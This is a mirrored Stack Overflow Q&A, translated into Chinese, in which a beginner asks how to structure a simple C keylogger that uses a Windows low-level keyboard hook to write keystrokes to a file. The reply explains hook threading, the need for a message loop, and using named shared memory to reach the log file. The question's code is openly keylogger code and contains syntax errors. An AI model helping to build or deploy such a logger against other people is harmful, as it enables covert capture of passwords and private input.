gpt4 book ai didi

c - 不知道如何正确编辑此代码

转载 作者:行者123 更新时间:2023-11-30 14:41:42 24 4
gpt4 key购买 nike

嗯,我对 C 还有些陌生。

假设我有这个代码:

源文件.c

#include "logger.c"

int main{
FILE *myfile1;
fileX = fopen("myfile.txt, a+);

SetHook(fileX);
}

然后我就有了非常简单的键盘记录器
记录器.c

HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{


// PRINT INTO THE FILE
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
fprintf(fileX, "%c", kbdStruct.vkCode);


}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook(fileX)
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)
}

基本上我想要像这样的分离代码。

但我认为这是错误的,我需要将“fileX”传递给函数setHOOK(),而是传递给“LRESULT __stdcall...”,我不知道该怎么做。
我将不胜感激任何帮助。

最佳答案

WH_KEYBOARD_LL is global hook you need place its hook procedure in a DLL separate from the application installing the hook procedure. (For simple purpose you can put hook procedure in your application and it is also working. But this is not suggested way.)

( SetWindowsHookExA function Using Hooks )

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop. (In another word, the application need have a window so that it can keep pumping messages.)

( LowLevelKeyboardProc callback function )

出于学习 hook 的目的,我的建议是开始使用 Visual Studio Windows 桌面应用程序模板 (C++)。

enter image description here

注册键盘钩子(Hook)并在钩子(Hook)中接收消息很简单。

为了写入钩子(Hook)生成器中的文件,您可以创建一个命名文件映射,这样您就不需要将文件句柄传递给钩子(Hook)。您可以使用其名称打开此文件映射并使用此文件映射写入文件。 (Creating Named Shared Memory)

static HHOOK hhookKeyPress;

hhookKeyPress = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardHookCallback,
NULL,
0);

// Main message loop:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

分享以上信息以帮助您入门,然后您可以找到C编程方法。希望对您有所帮助。

关于c - 不知道如何正确编辑此代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54828406/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com